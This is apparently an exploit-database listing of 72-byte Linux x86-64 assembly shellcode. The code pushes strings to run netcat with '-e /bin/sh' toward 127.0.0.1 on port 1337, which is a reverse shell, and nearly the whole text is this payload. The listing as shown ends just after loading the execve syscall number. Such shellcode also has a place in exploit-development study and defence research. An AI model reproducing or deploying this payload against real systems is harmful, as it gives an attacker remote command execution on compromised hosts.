Linux/x86-64 - NetCat Reverse Shell Shellcode (72 bytes)

Author: Robert L. Taylor Published: 2017-03-06 Verified: Verified



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; For a detailed explanation of this shellcode see my blog post:
global _start
section .text
    xor edx,edx
    push '1337'
    push rsp
    pop rcx
    push rdx
    mov rax,'/bin//sh'
    push rax
    push rsp
    pop rbx
    push rdx
    mov rax,'/bin//nc'
    push rax
    push rsp
    pop rdi
    push '1'
    mov rax,'127.0.0.'
    push rax
    push rsp
    pop rsi
    push rdx
    push word '-e'
    push rsp
    pop rax
    push rdx ; push null
    push rbx ; '/bin//sh'
    push rax ; '-e'
    push rcx ; '1337'
    push rsi ; ''
    push rdi ; '/bin//nc'
    push rsp
    pop rsi  ; address of array of pointers to strings
    push 59  ; execve system call
    pop rax